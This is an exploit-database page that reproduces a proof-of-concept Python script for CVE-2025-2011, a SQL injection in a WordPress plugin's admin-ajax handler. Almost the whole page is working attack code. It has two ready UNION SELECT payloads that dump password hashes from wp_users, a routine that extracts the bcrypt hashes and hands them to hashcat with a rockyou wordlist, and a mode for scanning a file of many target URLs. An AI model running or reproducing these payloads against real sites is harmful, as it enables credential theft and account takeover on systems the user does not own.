Exploit databaseDownload repository ZIP
GH-67cb2dcaf5a73d6d1e3b74cb84b3f9db
x3rx3ssec/cve-2025-2011
Sources for CVE-2025-2011
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
x3rx3ssec/cve-2025-2011Revision bd52fd456d6d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2025-2011.py
Python · 4,366 bytes#!/usr/bin/env python3
import requests
import argparse
from colorama import Fore, Style, init
import threading
import itertools
import sys
import time
from urllib.parse import urlparse
import re
import subprocess
init(autoreset=True)
BANNER = f"""{Fore.MAGENTA}
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▗ ▗
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▄▌▛▌▜ ▜
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▖█▌▟▖▟▖
{Fore.CYAN} CVE-2025-2011 PoC
{Fore.GREEN} by X3RX3S aka @mindfuckerrrr
"""
# Both payloads as raw strings, useful for manual exploitation :)
PAYLOADS = {
"1": r"/wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+x",
"2": r"/wp-admin/admin-ajax.php?action=depicter-lead-list&s=test%27))+table_name+UNION+select+user_pass+FROM+wp_users--+x"
}
spinner_running = False
def spinner():
for c in itertools.cycle(['|', '/', '-', '\\']):
if not spinner_running:
break
sys.stdout.write(f'\r{Fore.YELLOW}[~] Sending payload... {c}')
sys.stdout.flush()
time.sleep(0.1)
def extract_hashes(text):
pattern = re.compile(r'(?:\$wp\$)?\$2[aby]\$[./A-Za-z0-9]{56}')
return pattern.findall(text)
def run_hashcat(hashes):
with open('hashes.txt', 'w') as f:
for h in hashes:
f.write(h + '\n')
print(f"{Fore.CYAN}[+] Saved hashes to hashes.txt")
print(f"{Fore.YELLOW}[~] Running Hashcat with rockyou.txt for bcrypt (mode 3200)")
cmd = ['hashcat', '-m', '3200', 'hashes.txt', '/usr/share/wordlists/rockyou.txt']
try:
subprocess.run(cmd)
except FileNotFoundError:
print(f"{Fore.RED}[-] Hashcat not found or not installed!")
def test_sqli(url, payload_choice):
global spinner_running
hostname = urlparse(url).hostname or 'unknown_host'
log_file = f"results_{hostname}.txt"
payload = PAYLOADS[payload_choice]
full_url = url.rstrip("/") + payload
print(f"{Fore.YELLOW}\n[+] Target: {Fore.CYAN}{full_url}")
spinner_running = True
t = threading.Thread(target=spinner)
t.start()
try:
response = requests.get(full_url, timeout=10)
except requests.RequestException as e:
spinner_running = False
t.join()
print(f"{Fore.RED}\n[-] Request failed for {url}: {e}")
return
spinner_running = False
t.join()
print(f"\n{Fore.GREEN}[+] Status: {response.status_code}")
snippet = response.text[:500]
print(f"{Fore.MAGENTA}[+] Response snippet:\n{Style.RESET_ALL}{snippet}")
with open(log_file, 'w') as f:
f.write(f"URL: {full_url}\n")
f.write(f"Status: {response.status_code}\n")
f.write("Response snippet:\n")
f.write(snippet + "\n")
print(f"{Fore.CYAN}[+] Results saved to {log_file}")
hashes = extract_hashes(response.text)
if hashes:
print(f"{Fore.GREEN}[+] Found possible bcrypt hashes: {hashes}")
choice = input(f"{Fore.YELLOW}[?] Crack with Hashcat? (Y/N): ").strip().lower()
if choice == 'y':
run_hashcat(hashes)
else:
print(f"{Fore.CYAN}[+] Skipped Hashcat cracking.")
else:
print(f"{Fore.RED}[-] No bcrypt hashes detected in response.")
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description=f"{Fore.CYAN}CVE-2025-2011 PoC by X3RX3S / Double Payload")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', help='Target URL')
group.add_argument('-f', '--file', help='File with list of target URLs (one per line)')
parser.add_argument('-p', '--payload', choices=['1', '2'], default='1',
help='Payload to use: 1 or 2 (default: 1)')
args = parser.parse_args()
if args.url:
test_sqli(args.url, args.payload)
if args.file:
try:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
for url in urls:
test_sqli(url, args.payload)
except FileNotFoundError:
print(f"{Fore.RED}[-] Could not find file: {args.file}")
print(f"\n{Fore.GREEN}[+] Done! Stay patched, stay safe!")
if __name__ == "__main__":
main()